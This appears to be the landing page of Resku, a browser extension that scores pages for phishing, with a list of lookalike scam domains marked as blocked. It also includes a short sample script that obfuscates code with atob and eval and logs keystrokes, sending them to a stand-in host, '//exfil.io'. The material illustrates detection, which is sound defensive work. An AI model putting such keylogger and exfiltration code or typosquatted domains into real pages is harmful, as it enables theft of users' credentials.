Today's scam isn't on any blocklist yet

See the trap
before you fall in.

Resku scores every page from 0 to 100 before you type a password, an IBAN or a card number. Fake delivery fees, fake tax portals, bank clones: the alert lands in ~200 ms, before the page is usable.

Free, no card. One email, at launch.

120+ rules · 150+ protected brands · access in waves
impots.gouv-remboursement.info
9
/100
LIVE ANALYSIS
Phishing very likely
Fake government domain
Registered 2 days ago
Card payment form
96
/100
LIVE ANALYSIS
No threat detected
Established domain · 26 years
Valid DigiCert certificate
Not on blocklists
14
/100
LIVE ANALYSIS
Fake package tracking
La Poste mimicry · 94%
Risky TLD · .top
€1.95 payment request
38
/100
LIVE ANALYSIS
3 ambiguous signals
Capital « I » homograph
5-day-old certificate
Urgency language detected
120+ RULES · ~200 MSLOCAL DOM
⊘g00gle-account-recovery.zipblocked⊘impots.gouv-remboursement.infoblocked⊘colis-suivi-laposte.topblocked⊘secure-paypaI-verify.comblocked⊘amaz0n-prime.shopblocked⊘auth-microsft.onlineblocked⊘ledger-live-update.appblocked⊘netfIix-renew.infoblocked⊘cpam-remboursement.netblocked⊘dropb0x-share.linkblocked⊘crypt0wallet-restore.ioblocked⊘facebok-security.helpblocked⊘banque-postale-verif.comblocked⊘vinted-paiement.topblocked⊘g00gle-account-recovery.zipblocked⊘impots.gouv-remboursement.infoblocked⊘colis-suivi-laposte.topblocked⊘secure-paypaI-verify.comblocked⊘amaz0n-prime.shopblocked⊘auth-microsft.onlineblocked⊘ledger-live-update.appblocked⊘netfIix-renew.infoblocked⊘cpam-remboursement.netblocked⊘dropb0x-share.linkblocked⊘crypt0wallet-restore.ioblocked⊘facebok-security.helpblocked⊘banque-postale-verif.comblocked⊘vinted-paiement.topblocked
Built for
SMS & fake delivery scams
potential victims
Family caregivers
parents, grandparents
Freelancers & micro-businesses
online payments
IT teams
browser rollout
Journalists & nonprofits
high-risk public profiles
For caregivers

Your parents click on everything.

You won't always be there to look over their shoulder. Resku shows the score for you, before they type anything.

Reserve a seat for them

Free, no card. One email, at launch.

VOLUME
+70%
phishing reports in France
Trend reported by Cybermalveillance.gouv.fr: SMS and delivery scams rank among the top cyber threats in France.
SPEED
12s
to enter credentials on a convincing clone
Typical user scenario: the page looks legit, the form is ready.
BLIND SPOT
0
browser alert on a page that's too new
Blocklists often react in days. Campaigns last hours.

Phishing trend source: Cybermalveillance.gouv.fr. Other figures illustrate user scenarios, not Resku measurements.

What Resku sees

One score. Three colors. Zero jargon.

There is nothing for you to interpret. Resku reads the certificates, the domains and the scripts, and returns one of three verdicts: safe, suspicious, dangerous.

impots.gouv-remboursement.infofake official site
colis-suivi-laposte.topquestionable extension
secure-paypaI-verify.comswapped letter

Fake domains don't stand a chance

g0v instead of gov. paypaI with a capital i. laposte.top instead of laposte.fr. Resku compares every address to 150+ protected brands and catches a single-character gap, even one invisible to the eye.

example

AI spots visual lookalikes

Logo, favicon, page structure: compared to known phishing kits by server-side AI analysis when online, with your consent.

Local analysis, minimal data

The page content is read in your browser and never leaves it. Only the address and the detected signals reach our API, to refine the score.

// script caché dans la page
var _0x = atob("ZXZhbCg…");
eval(_0x);
addEventListener("keydown", e =>
fetch("//exfil.io", …));
Obfuscated code (atob + eval)
Field keylogger
Cross-origin exfiltration
Invisible 1×1 px iframe

Malicious code read before you are

Keyloggers, obfuscated scripts, data exfiltration detected on the fly in the DOM, before the page becomes interactive.

The demo

Exactly what you'll see at the critical moment.

Below: a cloned login page, exactly as Resku intercepts it. The panel is interactive : browse the tabs, expand the checks.

g00gle-account-recovery.zip/signin/v2/identifier
CLONE DETECTED
Sign in
Recover your Google account
Next
Resku
Site dangereux

Cette page imite un service connu sur un domaine récent et signalé. Ne saisissez aucune donnée personnelle, ne téléchargez aucun fichier.

g00gle-account-recovery.zip
Confiance
12/100

Cette page imite un service connu sur un domaine récent et signalé. Ne saisissez aucune donnée personnelle, ne téléchargez aucun fichier.

41
Conformes
12
Attention
28
Risque
Signaux principaux
●Typosquatting
●TLD à risque
●Âge du domaine
●WHOIS privatisé

This is the panel your parents will see.

Reserve your access to get it in your browser the day your wave opens.

Free, no card. One email, at launch.

120+ rules · 150+ protected brands · access in waves
Anatomy of an attack

A package scam takes 60 seconds. Let's break it down.

An urgent email arrives09:41 · 01/05
“Your package is held : pay €1.95 within 24h.” Plausible sender, perfect logo. AI-generated in seconds.
Honest comparison

Your browser already protects you. But always with a delay.

RESKU
Safe Browsing
(built into Chrome)
Antivirus
(classic suites)
SMS / package scam focus (France & EU)
Delivery, tax, health portal scenarios
No
No
Reaction to sites created less than 24h ago
Real-time heuristics
No
No
Explained score, signal by signal
0-100 + verification breakdown
No
No
Visual brand impersonation detection
Server-side AI when online
No
Varies
Page script analysis
Keyloggers, obfuscation, exfiltration
No
Partial
Browsing privacy
Local DOM · minimal data
Hashed URLs sent
URLs sent to cloud
RESKU
Safe Browsing(built into Chrome)
Antivirus(classic suites)
SMS / package scam focus (France & EU)
Delivery, tax, health portal scenarios
No
No
Reaction to sites created less than 24h ago
Real-time heuristics
No
No
Explained score, signal by signal
0-100 + verification breakdown
No
No
Visual brand impersonation detection
Server-side AI when online
No
Varies
Page script analysis
Keyloggers, obfuscation, exfiltration
No
Partial
Browsing privacy
Local DOM · minimal data
Hashed URLs sent
URLs sent to cloud
Installation

Protected before you
finish your coffee.

No account, no setup, no restart. Resku works silently and only speaks up when it has something to say.

Free, no card. One email, at launch.

1
Add the extension
One click from the Chrome Web Store. 12 seconds, no data required.
2
Browse normally
Every page is scored in the background in ~200 ms. You won't notice : that's the point.
3
Resku stops you in time
Suspicious page? The sidebar opens with the score, signals, and recommended action.
Why Resku

Three commitments that won't change.

Transparency

Score 0–100 with detailed signals : you see why a page is suspicious, not just a block.

Proactivity

Fresh pages analyzed heuristically : Resku doesn't wait for blocklists.

Privacy

DOM stays in your browser. The URL, domain, and technical signals enrich the score via the API : never your page content.

Resku in numbers · verifiable product metrics
120+
analysis rulesrules
12
in-browser modulesclient modules
150+
protected brands (typosquatting)brands
~200 ms
latency target (local + API)latency target
-
people on the waitlistwaitlist signups

Technical indicators from Resku detection modules and benchmark test suite.

Trust

A security tool should be
flawless on yours.

Browser-local analysis
DOM is read locally. The URL, domain, page title, and technical signals are sent to our API to compute the score : never your page HTML or anything you type.
Minimal data
No ad telemetry, no data resale, no browsing history sold to third parties.
Documented privacy
Detailed privacy policy, access and deletion rights. No GDPR certification badge until acquired.
Explicit signals
Every score point is explained in the sidebar. You judge with facts : not opaque blocking.
Private beta

What's live today.

Only features shipped and verified in the current private beta.

Available now
Chrome, Edge, Brave & Arc extension
0-100 score + blocking red alert
~190 checks when online (120+ rules, 12 client modules)
Client analysis: domains, DOM, scripts, ClickFix & paste protection
API enrichment: reputation, DNS/TLS, ML and visual brand checks
Sidebar: scan history, trust list, false-positive reports
Analysis starts in your browser. To compute the score, Resku sends its API the URL, domain, page title, and technical signals (form presence, favicon, DOM structure) : never the full HTML, what you type, or your cookies. Server-side visual brand checks may send a page screenshot with your consent. Full details are in our privacy policy.

The next SMS
will land on a Tuesday, at 9:41.

Leave your email. We write once, when your access opens. No newsletter, no chasing, no payment.

Free, no card. One email, at launch.

Access in waves · one email · no spam